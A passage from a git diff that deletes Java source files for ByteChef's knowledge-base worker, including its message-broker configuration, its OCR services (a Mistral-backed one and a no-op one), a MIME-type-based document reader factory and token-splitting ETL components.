-            knowledgeBaseDocumentService.saveKnowledgeBaseDocument(knowledgeBaseDocument);
-        } catch (RuntimeException exception) {
-            LOGGER.error(
-                "Error processing document {}: {}", knowledgeBaseDocumentId, exception.getMessage(), exception);
-
-            knowledgeBaseDocument.setStatus(KnowledgeBaseDocument.STATUS_ERROR);
-
-            knowledgeBaseDocumentService.saveKnowledgeBaseDocument(knowledgeBaseDocument);
-        }
-    }
-
-    public void onKnowledgeBaseDocumentChunkEvent(KnowledgeBaseDocumentChunkEvent event) {
-        long knowledgeBaseDocumentChunkId = event.getChunkId();
-
-        try {
-            KnowledgeBaseDocumentChunk chunk = knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(
-                knowledgeBaseDocumentChunkId);
-
-            KnowledgeBaseDocument knowledgeBaseDocument = knowledgeBaseDocumentService.getKnowledgeBaseDocument(
-                chunk.getKnowledgeBaseDocumentId());
-
-            List<Long> tagIds = knowledgeBaseDocument.getTagIds();
-
-            knowledgeBaseEtlPipeline.processChunkUpdate(
-                event.getContent(), knowledgeBaseDocument.getKnowledgeBaseId(), knowledgeBaseDocument.getId(),
-                knowledgeBaseDocumentChunkId, tagIds);
-        } catch (RuntimeException exception) {
-            LOGGER.error(
-                "Error processing chunk update {}: {}", knowledgeBaseDocumentChunkId, exception.getMessage(),
-                exception);
-        }
-    }
-
-    private static class KnowledgeBaseDocumentByteArrayResource extends ByteArrayResource {
-
-        private final FileEntry fileEntry;
-
-        public KnowledgeBaseDocumentByteArrayResource(byte[] documentBytes, FileEntry fileEntry) {
-            super(documentBytes);
-
-            this.fileEntry = fileEntry;
-        }
-
-        @Override
-        public boolean equals(Object object) {
-            if (this == object) {
-                return true;
-            }
-
-            if (!(object instanceof KnowledgeBaseDocumentByteArrayResource that)) {
-                return false;
-            }
-
-            if (!super.equals(object)) {
-                return false;
-            }
-
-            return Objects.equals(fileEntry, that.fileEntry);
-        }
-
-        @Override
-        public String getFilename() {
-            return fileEntry.getName();
-        }
-
-        @Override
-        public int hashCode() {
-            return Objects.hash(super.hashCode(), fileEntry);
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/KnowledgeBaseMessageBrokerConfigurerConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/KnowledgeBaseMessageBrokerConfigurerConfiguration.java
deleted file mode 100644
index 10b3faa29ae..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/KnowledgeBaseMessageBrokerConfigurerConfiguration.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.config;
-
-import static com.bytechef.tenant.constant.TenantConstants.CURRENT_TENANT_ID;
-
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentChunkEvent;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentEvent;
-import com.bytechef.automation.knowledgebase.message.route.KnowledgeBaseMessageRoute;
-import com.bytechef.automation.knowledgebase.worker.KnowledgeBaseDocumentProcessWorker;
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.KnowledgeBase.Subscriptions;
-import com.bytechef.message.broker.config.MessageBrokerConfigurer;
-import com.bytechef.message.event.MessageEvent;
-import com.bytechef.message.event.MessageEventPostReceiveProcessor;
-import com.bytechef.tenant.TenantContext;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseMessageBrokerConfigurerConfiguration {
-
-    private final List<MessageEventPostReceiveProcessor> messageEventPostReceiveProcessors;
-    private final Subscriptions subscriptions;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseMessageBrokerConfigurerConfiguration(
-        ApplicationProperties applicationProperties,
-        List<MessageEventPostReceiveProcessor> messageEventPostReceiveProcessors) {
-
-        this.messageEventPostReceiveProcessors = messageEventPostReceiveProcessors;
-        this.subscriptions = applicationProperties.getKnowledgeBase()
-            .getSubscriptions();
-    }
-
-    @Bean
-    MessageBrokerConfigurer<?> knowledgeBaseMessageBrokerConfigurer(
-        KnowledgeBaseDocumentProcessWorker knowledgeBaseDocumentProcessWorker) {
-
-        KnowledgeBaseDocumentProcessWorkerDelegate knowledgeBaseDocumentProcessWorkerDelegate =
-            new KnowledgeBaseDocumentProcessWorkerDelegate(
-                messageEventPostReceiveProcessors, knowledgeBaseDocumentProcessWorker);
-
-        return (listenerEndpointRegistrar, messageBrokerListenerRegistrar) -> {
-            messageBrokerListenerRegistrar.registerListenerEndpoint(
-                listenerEndpointRegistrar,
-                KnowledgeBaseMessageRoute.DOCUMENT_PROCESS_EVENTS,
-                subscriptions.getDocumentProcessEvents(), knowledgeBaseDocumentProcessWorkerDelegate,
-                "onKnowledgeBaseDocumentEvent");
-
-            messageBrokerListenerRegistrar.registerListenerEndpoint(
-                listenerEndpointRegistrar,
-                KnowledgeBaseMessageRoute.DOCUMENT_CHUNK_UPDATE_EVENTS,
-                subscriptions.getDocumentChunkUpdateEvents(), knowledgeBaseDocumentProcessWorkerDelegate,
-                "onKnowledgeBaseDocumentChunkEvent");
-        };
-    }
-
-    private record KnowledgeBaseDocumentProcessWorkerDelegate(
-        List<MessageEventPostReceiveProcessor> messageEventPostReceiveProcessors,
-        KnowledgeBaseDocumentProcessWorker knowledgeBaseDocumentProcessWorker) {
-
-        public void onKnowledgeBaseDocumentEvent(KnowledgeBaseDocumentEvent knowledgeBaseDocumentEvent) {
-            TenantContext.runWithTenantId(
-                (String) knowledgeBaseDocumentEvent.getMetadata(CURRENT_TENANT_ID),
-                () -> knowledgeBaseDocumentProcessWorker.onKnowledgeBaseDocumentEvent(
-                    (KnowledgeBaseDocumentEvent) process(knowledgeBaseDocumentEvent)));
-        }
-
-        public void onKnowledgeBaseDocumentChunkEvent(KnowledgeBaseDocumentChunkEvent knowledgeBaseDocumentChunkEvent) {
-            TenantContext.runWithTenantId(
-                (String) knowledgeBaseDocumentChunkEvent.getMetadata(CURRENT_TENANT_ID),
-                () -> knowledgeBaseDocumentProcessWorker.onKnowledgeBaseDocumentChunkEvent(
-                    (KnowledgeBaseDocumentChunkEvent) process(knowledgeBaseDocumentChunkEvent)));
-        }
-
-        private MessageEvent<?> process(MessageEvent<?> messageEvent) {
-            for (MessageEventPostReceiveProcessor messageEventPostReceiveProcessor : messageEventPostReceiveProcessors) {
-                messageEvent = messageEventPostReceiveProcessor.process(messageEvent);
-            }
-
-            return messageEvent;
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/OcrServiceConfiguration.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/OcrServiceConfiguration.java
deleted file mode 100644
index f470e29f0eb..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/config/OcrServiceConfiguration.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.config;
-
-import com.bytechef.automation.knowledgebase.worker.document.ocr.MistralOcrService;
-import com.bytechef.automation.knowledgebase.worker.document.ocr.NoOpOcrService;
-import com.bytechef.automation.knowledgebase.worker.document.ocr.OcrService;
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.KnowledgeBase.Ocr;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * Configuration for OCR services based on the configured provider.
- *
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class OcrServiceConfiguration {
-
-    @Bean
-    OcrService ocrService(ApplicationProperties applicationProperties) {
-        Ocr ocrProperties = applicationProperties.getKnowledgeBase()
-            .getOcr();
-
-        Ocr.Provider provider = ocrProperties.getProvider();
-
-        if (provider == Ocr.Provider.MISTRAL) {
-            String apiKey = ocrProperties.getMistral()
-                .getApiKey();
-
-            if (apiKey == null || apiKey.isBlank()) {
-                throw new IllegalStateException(
-                    "Mistral OCR is enabled but API key is not configured. " +
-                        "Set bytechef.knowledge-base.ocr.mistral.api-key");
-            }
-
-            return new MistralOcrService(apiKey);
-        }
-
-        return new NoOpOcrService();
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/OcrDocumentReader.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/OcrDocumentReader.java
deleted file mode 100644
index 9976ad61f53..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/OcrDocumentReader.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.document;
-
-import com.bytechef.automation.knowledgebase.worker.document.ocr.OcrService;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.document.DocumentReader;
-import org.springframework.core.io.Resource;
-
-/**
- * A DocumentReader implementation that uses an OCR service to extract text from documents.
- *
- * <p>
- * This reader takes a document resource and uses the configured OCR service to extract text content in markdown format.
- * </p>
- *
- * @author Ivica Cardic
- */
-public class OcrDocumentReader implements DocumentReader {
-
-    private final OcrService ocrService;
-    private final Resource resource;
-
-    public OcrDocumentReader(OcrService ocrService, Resource resource) {
-        this.ocrService = ocrService;
-        this.resource = resource;
-    }
-
-    @Override
-    public List<Document> get() {
-        String extractedText = ocrService.perform(resource);
-
-        if (extractedText == null || extractedText.isBlank()) {
-            return List.of();
-        }
-
-        Map<String, Object> metadata = new HashMap<>();
-
-        metadata.put("source", resource.getFilename());
-        metadata.put("ocrProcessed", true);
-
-        Document document = new Document(extractedText, metadata);
-
-        return List.of(document);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/MistralOcrService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/MistralOcrService.java
deleted file mode 100644
index 7b8b7361936..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/MistralOcrService.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.document.ocr;
-
-import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
-import com.fasterxml.jackson.annotation.JsonProperty;
-import java.io.IOException;
-import java.util.stream.Collectors;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.mistralai.ocr.MistralOcrApi;
-import org.springframework.ai.mistralai.ocr.MistralOcrApi.OCRModel;
-import org.springframework.ai.mistralai.ocr.MistralOcrApi.OCRRequest;
-import org.springframework.ai.mistralai.ocr.MistralOcrApi.OCRRequest.DocumentURLChunk;
-import org.springframework.ai.mistralai.ocr.MistralOcrApi.OCRResponse;
-import org.springframework.core.io.Resource;
-import org.springframework.http.HttpHeaders;
-import org.springframework.http.MediaType;
-import org.springframework.http.ResponseEntity;
-import org.springframework.http.client.MultipartBodyBuilder;
-import org.springframework.web.client.RestClient;
-
-/**
- * OCR service implementation using Mistral AI's OCR API.
- *
- * <p>
- * This service uploads documents to Mistral's file storage, then uses Mistral's OCR model to extract text. The
- * extracted text is returned in markdown format.
- * </p>
- *
- * @author Ivica Cardic
- */
-public class MistralOcrService implements OcrService {
-
-    private static final Logger logger = LoggerFactory.getLogger(MistralOcrService.class);
-    private static final String DEFAULT_BASE_URL = "https://api.mistral.ai";
-
-    private final MistralOcrApi mistralOcrApi;
-    private final RestClient restClient;
-
-    /**
-     * Creates a new MistralOcrService with the specified API key.
-     *
-     * @param apiKey the Mistral AI API key
-     */
-    public MistralOcrService(String apiKey) {
-        this.mistralOcrApi = new MistralOcrApi(apiKey);
-        this.restClient = RestClient.builder()
-            .baseUrl(DEFAULT_BASE_URL)
-            .defaultHeader(HttpHeaders.AUTHORIZATION, "Bearer " + apiKey)
-            .build();
-    }
-
-    @Override
-    public String perform(Resource resource) {
-        String filename = resource.getFilename();
-
-        logger.debug("Running OCR on document: {}", filename);
-
-        try {
-            // Step 1: Upload the file to Mistral
-            FileUploadResponse uploadResponse = uploadFile(resource);
-
-            logger.debug("File uploaded successfully: {}", uploadResponse.id());
-
-            // Step 2: Get signed URL for the uploaded file
-            SignedUrlResponse signedUrlResponse = getSignedUrl(uploadResponse.id());
-
-            logger.debug("Got signed URL for file: {}", uploadResponse.id());
-
-            // Step 3: Run OCR using the signed URL
-            String result = performOcr(signedUrlResponse.url());
-
-            // Step 4: Delete the uploaded file
-            deleteFile(uploadResponse.id());
-
-            return result;
-        } catch (IOException exception) {
-            logger.error("Error processing document {}: {}", filename, exception.getMessage(), exception);
-
-            throw new RuntimeException("Failed to process document for OCR: " + filename, exception);
-        }
-    }
-
-    @Override
-    public boolean isEnabled() {
-        return mistralOcrApi != null;
-    }
-
-    private FileUploadResponse uploadFile(Resource resource) throws IOException {
-        MultipartBodyBuilder builder = new MultipartBodyBuilder();
-
-        String filename = resource.getFilename();
-
-        if (filename == null) {
-            filename = "document";
-        }
-
-        builder.part("file", resource)
-            .filename(filename)
-            .contentType(MediaType.APPLICATION_OCTET_STREAM);
-        builder.part("purpose", "ocr");
-
-        ResponseEntity<FileUploadResponse> response = restClient.post()
-            .uri("/v1/files")
-            .contentType(MediaType.MULTIPART_FORM_DATA)
-            .body(builder.build())
-            .retrieve()
-            .toEntity(FileUploadResponse.class);
-
-        if (response.getBody() == null) {
-            throw new RuntimeException("Failed to upload file: empty response");
-        }
-
-        return response.getBody();
-    }
-
-    private SignedUrlResponse getSignedUrl(String fileId) {
-        ResponseEntity<SignedUrlResponse> response = restClient.get()
-            .uri("/v1/files/{fileId}/url", fileId)
-            .retrieve()
-            .toEntity(SignedUrlResponse.class);
-
-        if (response.getBody() == null || response.getBody()
-            .url() == null) {
-            throw new RuntimeException("Failed to get signed URL for file: " + fileId);
-        }
-
-        return response.getBody();
-    }
-
-    private String performOcr(String documentUrl) {
-        OCRRequest request = new OCRRequest(
-            OCRModel.MISTRAL_OCR_LATEST.getValue(),
-            new DocumentURLChunk(documentUrl));
-
-        ResponseEntity<OCRResponse> responseEntity = mistralOcrApi.ocr(request);
-
-        if (responseEntity.getBody() == null || responseEntity.getBody()
-            .pages() == null) {
-            logger.warn("OCR response was empty for document");
-
-            return "";
-        }
-
-        OCRResponse response = responseEntity.getBody();
-
-        String markdown = response.pages()
-            .stream()
-            .map(page -> page.markdown() != null ? page.markdown() : "")
-            .collect(Collectors.joining("\n\n"));
-
-        // Remove null bytes (0x00) which PostgreSQL text columns don't support
-        markdown = markdown.replace("\0", "");
-
-        logger.debug("OCR completed, extracted {} pages", response.pagesProcessed());
-
-        return markdown;
-    }
-
-    private void deleteFile(String fileId) {
-        try {
-            restClient.delete()
-                .uri("/v1/files/{fileId}", fileId)
-                .retrieve()
-                .toBodilessEntity();
-
-            logger.debug("Deleted uploaded file: {}", fileId);
-        } catch (Exception exception) {
-            logger.warn("Failed to delete uploaded file {}: {}", fileId, exception.getMessage());
-        }
-    }
-
-    @JsonIgnoreProperties(ignoreUnknown = true)
-    record FileUploadResponse(
-        @JsonProperty("id") String id,
-        @JsonProperty("filename") String filename,
-        @JsonProperty("purpose") String purpose) {
-    }
-
-    @JsonIgnoreProperties(ignoreUnknown = true)
-    record SignedUrlResponse(
-        @JsonProperty("url") String url,
-        @JsonProperty("expires_at") Long expiresAt) {
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/NoOpOcrService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/NoOpOcrService.java
deleted file mode 100644
index 3da2f7d5f0b..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/NoOpOcrService.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.document.ocr;
-
-import org.springframework.core.io.Resource;
-
-/**
- * No-operation OCR service implementation. Used when OCR is not configured or disabled.
- *
- * @author Ivica Cardic
- */
-public class NoOpOcrService implements OcrService {
-
-    @Override
-    public String perform(Resource resource) {
-        return "";
-    }
-
-    @Override
-    public boolean isEnabled() {
-        return false;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/OcrService.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/OcrService.java
deleted file mode 100644
index f30d41a3964..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/document/ocr/OcrService.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.document.ocr;
-
-import org.springframework.core.io.Resource;
-
-/**
- * Service interface for Optical Character Recognition (OCR) operations.
- *
- * @author Ivica Cardic
- */
-public interface OcrService {
-
-    /**
-     * Performs OCR on a document resource.
-     *
-     * @param resource the document resource to process
-     * @return the extracted text in markdown format
-     */
-    String perform(Resource resource);
-
-    /**
-     * Checks if this OCR service is enabled and properly configured.
-     *
-     * @return true if the service is enabled, false otherwise
-     */
-    default boolean isEnabled() {
-        return true;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentReaderFactory.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentReaderFactory.java
deleted file mode 100644
index d6488a159d9..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentReaderFactory.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.etl;
-
-import com.bytechef.automation.knowledgebase.worker.document.OcrDocumentReader;
-import com.bytechef.automation.knowledgebase.worker.document.ocr.OcrService;
-import org.springframework.ai.document.DocumentReader;
-import org.springframework.ai.reader.JsonReader;
-import org.springframework.ai.reader.TextReader;
-import org.springframework.ai.reader.markdown.MarkdownDocumentReader;
-import org.springframework.ai.reader.markdown.config.MarkdownDocumentReaderConfig;
-import org.springframework.ai.reader.pdf.PagePdfDocumentReader;
-import org.springframework.ai.reader.pdf.ParagraphPdfDocumentReader;
-import org.springframework.ai.reader.tika.TikaDocumentReader;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.core.io.Resource;
-import org.springframework.stereotype.Component;
-
-/**
- * Factory for creating Spring AI DocumentReader instances based on document MIME type.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseDocumentReaderFactory {
-
-    private final OcrService ocrService;
-
-    public KnowledgeBaseDocumentReaderFactory(OcrService ocrService) {
-        this.ocrService = ocrService;
-    }
-
-    /**
-     * Creates an appropriate DocumentReader for the given resource based on its MIME type.
-     *
-     * @param resource        the document resource to read
-     * @param mimeType        the MIME type of the document
-     * @param useParagraphPdf whether to use paragraph-based PDF reading (better for structured documents)
-     * @return the appropriate DocumentReader for the document type
-     */
-    public DocumentReader createDocumentReader(
-        Resource resource, String mimeType, boolean useParagraphPdf) {
-
-        if (ocrService.isEnabled() && useOcr(mimeType)) {
-            return new OcrDocumentReader(ocrService, resource);
-        }
-
-        if (mimeType == null) {
-            return new TikaDocumentReader(resource);
-        }
-
-        return switch (mimeType.toLowerCase()) {
-            case "application/json" -> new JsonReader(resource);
-            case "text/plain" -> new TextReader(resource);
-            case "text/markdown", "text/x-markdown" ->
-                new MarkdownDocumentReader(resource, MarkdownDocumentReaderConfig.defaultConfig());
-            case "application/pdf" -> useParagraphPdf
-                ? new ParagraphPdfDocumentReader(resource)
-                : new PagePdfDocumentReader(resource);
-            default -> new TikaDocumentReader(resource);
-        };
-    }
-
-    /**
-     * Creates an appropriate DocumentReader for the given resource based on its MIME type. Uses page-based PDF reading
-     * by default.
-     *
-     * @param resource the document resource to read
-     * @param mimeType the MIME type of the document
-     * @return the appropriate DocumentReader for the document type
-     */
-    public DocumentReader createDocumentReader(Resource resource, String mimeType) {
-        return createDocumentReader(resource, mimeType, false);
-    }
-
-    /**
-     * Determines if OCR should be used for the given MIME type.
-     *
-     * @param mimeType the MIME type of the document
-     * @return true if OCR should be used
-     */
-    private boolean useOcr(String mimeType) {
-        if (mimeType == null) {
-            return false;
-        }
-
-        String lowerMimeType = mimeType.toLowerCase();
-
-        return lowerMimeType.equals("application/pdf") || lowerMimeType.startsWith("image/");
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentTransformerChain.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentTransformerChain.java
deleted file mode 100644
index 4dcb42a2173..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseDocumentTransformerChain.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.etl;
-
-import java.util.List;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.transformer.splitter.TokenTextSplitter;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Component;
-
-/**
- * Transformer chain for processing knowledge base documents using Spring AI transformers.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseDocumentTransformerChain {
-
-    /**
-     * Transforms documents by splitting into chunks.
-     *
-     * @param documents         the documents to transform
-     * @param minChunkSizeChars the minimum chunk size in characters
-     * @param maxChunkSize      the maximum chunk size in tokens
-     * @param overlap           the number of tokens to overlap between chunks (0 for no overlap)
-     * @return the transformed documents
-     */
-    public List<Document> transform(List<Document> documents, int minChunkSizeChars, int maxChunkSize, int overlap) {
-        if (overlap > 0) {
-            OverlappingTokenTextSplitter overlappingSplitter = OverlappingTokenTextSplitter.builder()
-                .withChunkSize(maxChunkSize)
-                .withMinChunkSizeChars(minChunkSizeChars)
-                .withOverlap(overlap)
-                .build();
-
-            return overlappingSplitter.apply(documents);
-        }
-
-        TokenTextSplitter tokenTextSplitter = TokenTextSplitter.builder()
-            .withChunkSize(maxChunkSize)
-            .withMinChunkSizeChars(minChunkSizeChars)
-            .withKeepSeparator(true)
-            .build();
-
-        return tokenTextSplitter.apply(documents);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseEtlPipeline.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseEtlPipeline.java
deleted file mode 100644
index 51fc80df5ca..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/etl/KnowledgeBaseEtlPipeline.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker.etl;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.document.DocumentReader;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.core.io.Resource;
-import org.springframework.stereotype.Component;
-
-/**
- * ETL Pipeline for processing knowledge base documents. Orchestrates the Extract-Transform-Load process using Spring AI
- * components.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseEtlPipeline {
-
-    private final KnowledgeBaseDocumentReaderFactory documentReaderFactory;
-    private final KnowledgeBaseDocumentTransformerChain transformerChain;
-    private final KnowledgeBaseVectorStoreWriter vectorStoreWriter;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseEtlPipeline(
-        KnowledgeBaseDocumentReaderFactory documentReaderFactory,
-        KnowledgeBaseDocumentTransformerChain transformerChain, KnowledgeBaseVectorStoreWriter vectorStoreWriter) {
-
-        this.documentReaderFactory = documentReaderFactory;
